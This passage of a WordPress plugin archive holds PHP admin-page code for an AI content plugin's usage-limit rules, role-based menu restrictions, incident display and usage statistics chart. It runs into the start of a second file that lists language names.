<div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the message to be displayed to not logged in users when usage limit is reached.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Message When Limit Reached (Not Logged In Users):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <textarea rows="1" cols="70" name="aiomatic_Limit_Settings[limit_message_not_logged]" placeholder="<?php echo esc_html__("Usage limit message", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($limit_message_not_logged); ?></textarea> </div> </td> </tr> <tr> <td colspan="2"><hr/></td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the message to be displayed to logged in users when usage limit is reached for the 'Rule Based Restrictions'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Message When Limit Reached (Rule Based Restrictions - Global):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <textarea rows="1" cols="70" name="aiomatic_Limit_Settings[limit_message_rule]" placeholder="<?php echo esc_html__("Usage limit message", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($limit_message_rule); ?></textarea> </div> </td> </tr> <tr><td colspan="2"><hr/></td></tr> </table> <h3><?php echo esc_html__("Rule Based Restrictions:", 'aiomatic-automatic-ai-content-writer');?></h3> <?php wp_nonce_field( 'aiomatic_save_restrictions', '_aiomaticr_nonce_restrictions' ); ?> <table class="responsive table cr_main_table"> <thead> <tr> <th> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule. ", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Max User Credits", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of credits for logged in users. Also, you can select the type of credits: queries, tokens or price. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Credit Type", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type of credits.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Time Frame", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the time frame for which to apply the above limitation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_30"> Absolute <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to apply an absolute timeframe. With absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_80"> <?php echo esc_html__("Options", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Shows advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_30"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_32" > <?php echo esc_html__("Active", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable this plugin? You can deactivate any rule (you don't have to delete them to deactivate them).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php $roles = aiomatic_get_editable_roles(); echo aiomatic_expand_limitations($roles); ?> <tr> <td class="cr_td_xo"><input type="text" name="aiomatic_Limit_Rules[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_custx"><input type="number" min="0" step="0.01" placeholder="Max user credits" name="aiomatic_Limit_Rules[user_credits][]" value="" class="cr_width_full" /></td> <td class="cr_custx"> <select id="user_credit_type" name="aiomatic_Limit_Rules[user_credit_type][]" > <option value="queries"<?php if ($user_credit_type == "queries") { echo " selected"; } ?>><?php echo esc_html__("Queries", 'aiomatic-automatic-ai-content-writer');?></option> <?php if(!aiomatic_is_aiomaticapi_key($token)) { ?> <option value="units"<?php if ($user_credit_type == "units") { echo " selected"; } ?>><?php echo esc_html__("Tokens", 'aiomatic-automatic-ai-content-writer');?></option> <option value="price"<?php if ($user_credit_type == "price") { echo " selected"; } ?>><?php echo esc_html__("Price", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pdf"<?php if ($user_credit_type == "pdf") { echo " selected"; } ?>><?php echo esc_html__("Maximum Chatbot Uploaded PDF Page Count (Per PDF File)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pdfchar"<?php if ($user_credit_type == "pdfchar") { echo " selected"; } ?>><?php echo esc_html__("Maximum Chatbot Uploaded PDF Character Count (Per PDF File)", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select></td> <td class="cr_6cust"> <select class="cr_max_width_80" name="aiomatic_Limit_Rules[user_time_frame][]"> <option value="day" selected><?php echo esc_html__("Day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="week"><?php echo esc_html__("Week", 'aiomatic-automatic-ai-content-writer');?></option> <option value="month"><?php echo esc_html__("Month", 'aiomatic-automatic-ai-content-writer');?></option> <option value="year"><?php echo esc_html__("Year", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> <td class="cr_td_q"> <select class="cr_max_width_80" name="aiomatic_Limit_Rules[absolute][]"> <option value="0" selected><?php echo esc_html__("No", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Yes", 'aiomatic-automatic-ai-content-writer');?></option> </select></td> <td class="cr_width_70"> <center><input type="button" id="mybtnfzr" value="Settings"></center> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr> <td colspan="2"> <h2><?php echo esc_html__("What to Restrict:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the user role to be restricted.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Role:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select name="aiomatic_Limit_Rules[role][]" class="cr_width_full"> <option value="none" selected><?php echo esc_html__("Don't check", 'aiomatic-automatic-ai-content-writer');?></option> <option value="any"><?php echo esc_html__("Apply For Any Role", 'aiomatic-automatic-ai-content-writer');?></option> <?php foreach($roles as $urole => $caps) { ?> <option value="<?php echo $urole;?>"><?php echo $urole;?></option> <?php } ?> </select> </div> </td> </tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Integration with 'Ultimate Membership Pro'", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><a href="https://1.envato.market/UltimateMember" target="_blank"><?php echo esc_html__("Ultimate Membership Pro", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("Subscription Plan:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select name="aiomatic_Limit_Rules[ums_sub][]" class="cr_width_full"> <option value="none" selected><?php echo esc_html__("Don't check", 'aiomatic-automatic-ai-content-writer');?></option> <?php $levels = array(); if(class_exists('\Indeed\Ihc\Db\Memberships') && function_exists('ihc_reorder_arr')) { $levels = \Indeed\Ihc\Db\Memberships::getAll(); $levels = ihc_reorder_arr($levels); } if(count($levels) > 0) { ?> <option value="nosub"><?php echo esc_html__("Not Subscribed Users", 'aiomatic-automatic-ai-content-writer');?></option> <option value="any"><?php echo esc_html__("Apply For Any Subscription", 'aiomatic-automatic-ai-content-writer');?></option> <?php } foreach($levels as $levelid => $larr) { ?> <option value="<?php echo $levelid;?>"><?php echo esc_html($larr['label']);?></option> <?php } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the user ID list to cover with this restriction. You can enter a comma separated list of user IDs.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User ID List:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" placeholder="User ID list" name="aiomatic_Limit_Rules[user_list][]" value="" class="cr_width_full" /> </td> </tr> <tr><td colspan="2"> <h2><?php echo esc_html__("More Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the message to show to restricted users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Restricted Message:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><input type="text" placeholder="You are restricted" name="aiomatic_Limit_Rules[message][]" value="" class="cr_width_full" /> </td> </tr> </table> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Restriction Rules</h3> <span id="aiomatic_ok" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </td> <td class="cr_30 cr_center" ><span class="cr_30">X</span></td> <td class="cr_short_td"> <select name="aiomatic_Limit_Rules[active][]" class="cr_width_full"> <option value="1" selected><?php echo esc_html__("Yes", 'aiomatic-automatic-ai-content-writer');?></option> <option value="0"><?php echo esc_html__("No", 'aiomatic-automatic-ai-content-writer');?></option> </select></td> </tr> </tbody> </table> <div><p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p></div> <?php echo esc_html__("API usage for this user account: ", 'aiomatic-automatic-ai-content-writer') . do_shortcode('[aiomatic-user-remaining-credits-bar]'); } else { echo esc_html__("You need to enable the 'Enable Usage Tracking For Statistics And Usage Limits' checkbox from the plugin's 'Settings' menu to enable this feature.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> <div id="tab-4" class="tab-content"> <br/> <h3><?php echo esc_html__("Plugin Visibility Settings:", 'aiomatic-automatic-ai-content-writer');?></h3> <table class="responsive table cr_main_table"> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the additional user roles who will have access to the Aiomatic plugin, in the admin menu. Note that the administrator user role will always have access to the plugin (this is why it is not shown).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Roles To See The Pluin In Admin Menu (Besides Administrators):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select id="additional_roles" multiple name="aiomatic_Limit_Settings[additional_roles][]" > <?php foreach($roles as $urole => $caps) { if($urole === 'administrator') { continue; } echo '<option value="'; echo $urole; echo '"'; if(in_array($urole, $additional_roles)){ echo ' selected';} echo '>'; echo $urole; echo '</option>'; } ?> </select> </div> </td> </tr> </table> <h3><?php echo esc_html__("User Role Based Plugin Menu Restrictions:", 'aiomatic-automatic-ai-content-writer');?></h3> <?php wp_nonce_field( 'aiomatic_save_menus', '_aiomaticr_nonce' ); ?> <div class="cr_autocomplete"> <input type="password" id="PreventChromeAutocomplete" name="PreventChromeAutocomplete" autocomplete="address-level4" /> </div> <table class="responsive table cr_main_table"> <thead> <tr> <th> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule. ", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("User Role", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the user role for which to apply the restriction.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Select Menu Entries To Show", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the menu entries to show for this specific user.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_30"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php echo aiomatic_expand_menu_limits($roles); ?> <tr> <td class="cr_td_xo"><input type="text" name="aiomatic_Menu_Rules[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_custx"> <select name="aiomatic_Menu_Rules[role][]" class="cr_width_full"> <option value="" selected><?php echo esc_html__("Select a role...", 'aiomatic-automatic-ai-content-writer');?></option> <?php foreach($roles as $urole => $caps) { ?> <option value="<?php echo $urole;?>"><?php echo $urole;?></option> <?php } ?> </select> </td> <td class="cr_custx"> <select id="menu_limit" multiple name="aiomatic_Menu_Rules[menu_limit][]" > <option value="aiomatic_admin_settings"><?php echo esc_html__("Settings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_omniblocks"><?php echo esc_html__("AI OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_single_panel"><?php echo esc_html__("Single AI Post Creator", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_bulk_creators"><?php echo esc_html__("Bulk AI Post Creator", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_spinner_panel"><?php echo esc_html__("AI Content Editor", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_chatbot_panel"><?php echo esc_html__("AI Chatbot", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_assistants_panel"><?php echo esc_html__("AI Assistants", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_shortcodes_panel"><?php echo esc_html__("AI Shortcodes and Forms", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_embeddings_panel"><?php echo esc_html__("AI Embeddings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_batch_panel"><?php echo esc_html__("AI Batch Requests", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_openai_training"><?php echo esc_html__("AI Model Training", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_playground_panel"><?php echo esc_html__("AI Playground", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_openai_status"><?php echo esc_html__("Limits & Statistics", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_more"><?php echo esc_html__("More Features", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_extensions"><?php echo esc_html__("Aiomatic Extensions", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_logs"><?php echo esc_html__("Activity & Logging", 'aiomatic-automatic-ai-content-writer');?></option> </select></td> <td class="cr_30 cr_center" ><span class="cr_30">X</span></td> </tr> </tbody> </table> <div><p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p></div> </div> </form> <div id="tab-3" class="tab-content"> <br/> <p class="cr_center"><?php echo esc_html__("Only the incidents which occured less than a week ago are displayed here.", 'aiomatic-automatic-ai-content-writer');?></p><hr/> <?php try { $incidents = get_transient( 'aiomatic_openai_incidents' ); if ( $incidents === false ) { $incidents = aiomatic_getIncidents(); set_transient( 'aiomatic_openai_incidents', $incidents, 60 * 10 ); } $echo_me = ''; foreach($incidents as $incident) { $echo_me .= '<div><h3><img draggable="false" role="img" class="emoji" alt="emoji" src="https://s.w.org/images/core/emoji/14.0.0/svg/26a0.svg">'; $echo_me .= ' ' . $incident['date'] . ': ' . $incident['title'] . '</h3><div class="description">' . $incident['description'] . '</div></div><hr class="cr-dashed"/>'; } echo $echo_me; if($echo_me != '') { echo '<hr/>'; } } catch ( Exception $e ) { echo 'Error while processing OpenAI status: ' . $e->getMessage(); } ?> </div> <div id="tab-5" class="tab-content"> <br/> <?php if (isset($aiomatic_Main_Settings['enable_tracking']) && $aiomatic_Main_Settings['enable_tracking'] === 'on') { ?> <div id="aiomatic_chart_holder"> <?php echo '<span class="pagination-links">'; $current_page = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; $older = 0; if(isset($_GET['older']) && $_GET['older'] != '') { $older = intval($_GET['older']); if($older < 0) { $older = 0; } } echo ' <a href="' . add_query_arg( array( 'older' => $older + 12 ), $current_page ) . '"><svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon disabled" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M18.41 7.41L17 6l-6 6l6 6l1.41-1.41L13.83 12l4.58-4.59m-6 0L11 6l-6 6l6 6l1.41-1.41L7.83 12l4.58-4.59Z"></path></svg></a>'; echo ' <a href="' . add_query_arg( array( 'older' => $older + 1 ), $current_page ) . '"><svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon disabled" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M15.41 16.58L10.83 12l4.58-4.59L14 6l-6 6l6 6l1.41-1.42Z"></path></svg></a>'; echo ' <span class="aiomatic-paging">' . esc_html__("Page", 'aiomatic-automatic-ai-content-writer') . ' ' . ($older + 1) . ' </span>'; if($older > 0) { echo ' <a href="' . add_query_arg( array( 'older' => $older - 1 ), $current_page ) . '"><svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon disabled" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M8.59 16.58L13.17 12L8.59 7.41L10 6l6 6l-6 6l-1.41-1.42Z"></path></svg></a>'; echo ' <a href="' . add_query_arg( array( 'older' => 0 ), $current_page ) . '"><svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon disabled" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M5.59 7.41L7 6l6 6l-6 6l-1.41-1.41L10.17 12L5.59 7.41m6 0L13 6l6 6l-6 6l-1.41-1.41L16.17 12l-4.58-4.59Z"></path></svg></a>'; } echo '</span>'; if(isset($_GET['older']) && $_GET['older'] != '' && $_GET['older'] != '0') { $older = intval($_GET['older']); if($older < 0) { $older = 0; } $day0time = strtotime(($older * 30) . ' days ago', time()); } else { $day0time = time(); } $how_many_more_days = 30; $results = array(); $priceresults = array(); $tokenresults = array(); $imageresults = array(); for($j = 0; $j < $how_many_more_days; $j++) { $total_usd = 0; $total_tokens = 0; $total_images = 0; $strx = "-" . $j . " day"; if($j > 1) { $strx .= 's'; } $my_day = date('M d Y', strtotime($strx, $day0time)); $my_daystart = date('Y-m-d H:i:s', strtotime($my_day . ' 00:00')); $my_dayend = date('Y-m-d H:i:s', strtotime($my_day . ' 23:59')); $filters['from'] = $my_daystart; $filters['to'] = $my_dayend; $myday_res = $GLOBALS['aiomatic_stats']->logs_query( [], 0, 100, $filters, null ); foreach($myday_res['rows'] as $resz) { $total_usd += $resz['price']; if($resz['type'] == 'token' || $resz['type'] == 'tokens') { $total_tokens += $resz['units']; } elseif($resz['type'] == 'image' || $resz['type'] == 'images') { $total_images += $resz['units']; } } $results[$my_day] = $myday_res['total']; $priceresults[$my_day] = $total_usd; $tokenresults[$my_day] = $total_tokens; $imageresults[$my_day] = $total_images; } $results = array_reverse($results); $priceresults = array_reverse($priceresults); $tokenresults = array_reverse($tokenresults); $imageresults = array_reverse($imageresults); $results_html = implode(',' , $results); $price_html = implode(',' , $priceresults); $token_html = implode(',' , $tokenresults); $image_html = implode(',' , $imageresults); $days_html = implode(', ',array_keys($results)); $days_html = str_replace(', ', ',', $days_html); $results_html = str_replace(', ', ',', $results_html); $our_short = '[aiomatic_charts title="Chart' . uniqid() . '" datalabels="' . esc_html__('API Call Count', 'aiomatic-automatic-ai-content-writer') . ',' . esc_html__('API Call Cost (USD)', 'aiomatic-automatic-ai-content-writer') . ',' . esc_html__('API Token Count', 'aiomatic-automatic-ai-content-writer') . ',' . esc_html__('AI Image Count', 'aiomatic-automatic-ai-content-writer') . '" labels="' . $days_html . '" type="Line" align="aligncenter" margin="5px 20px" datasets="' . $results_html . 'next' . $price_html . 'next' . $token_html . 'next' . $image_html . '" canvasheight="200" width="100%" height="400" relativewidth="1" classn="" colors="#D040D2,#A0A48C,#69D2E1,#40D240" fillopacity="0.7" animation="true" scalefontsize="12" scalefontcolor="#666" scaleoverride="false" scalesteps="null" scalestepwidth="null" scalestartvalue="null"]'; $returnhtml = do_shortcode($our_short); echo $returnhtml; ?> </div> <?php } else { echo esc_html__("You need to enable the 'Enable Usage Tracking For Statistics And Usage Limits' checkbox from the plugin's 'Settings' menu to enable this feature.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </div> <?php } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-amazon-list.php������������������������������������������������������������������������0000644�����������������00001411673�14757771437�0012133 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_amazon_panel() { $aiomatic_language_names = array( esc_html__("English", 'aiomatic-automatic-ai-content-writer'), esc_html__("Spanish", 'aiomatic-automatic-ai-content-writer'), esc_html__("French", 'aiomatic-automatic-ai-content-writer'), esc_html__("Italian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Afrikaans", 'aiomatic-automatic-ai-content-writer'), esc_html__("Albanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Arabic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Amharic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Armenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Belarusian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bulgarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Catalan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Simplified", 'aiomatic-automatic-ai-content-writer'), esc_html__("Croatian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Czech", 'aiomatic-automatic-ai-content-writer'), esc_html__("Danish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dutch", 'aiomatic-automatic-ai-content-writer'), esc_html__("Estonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Filipino", 'aiomatic-automatic-ai-content-writer'), esc_html__("Finnish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Galician", 'aiomatic-automatic-ai-content-writer'), esc_html__("German", 'aiomatic-automatic-ai-content-writer'), esc_html__("Greek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hebrew", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hindi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hungarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Icelandic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Indonesian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Irish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Japanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Korean", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latvian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lithuanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Norwegian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Macedonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malay", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maltese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Persian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Polish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Portuguese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Romanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Russian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Serbian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovak", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swedish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Thai", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ukrainian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Vietnamese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Welsh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yiddish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tamil", 'aiomatic-automatic-ai-content-writer'), esc_html__("Azerbaijani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kannada", 'aiomatic-automatic-ai-content-writer'), esc_html__("Basque", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bengali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latin", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Traditional", 'aiomatic-automatic-ai-content-writer'), esc_html__("Esperanto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Georgian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Telugu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Gujarati", 'aiomatic-automatic-ai-content-writer'), esc_html__("Haitian Creole", 'aiomatic-automatic-ai-content-writer'), esc_html__("Urdu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Burmese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bosnian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Cebuano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chichewa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Corsican", 'aiomatic-automatic-ai-content-writer'), esc_html__("Frisian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Scottish Gaelic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hausa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hawaian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hmong", 'aiomatic-automatic-ai-content-writer'), esc_html__("Igbo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Javanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kazakh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Khmer", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kyrgyz", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lao", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luxembourgish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malagasy", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malayalam", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maori", 'aiomatic-automatic-ai-content-writer'), esc_html__("Marathi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mongolian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Nepali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Pashto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Punjabi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Samoan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sesotho", 'aiomatic-automatic-ai-content-writer'), esc_html__("Shona", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sindhi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sinhala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Somali", 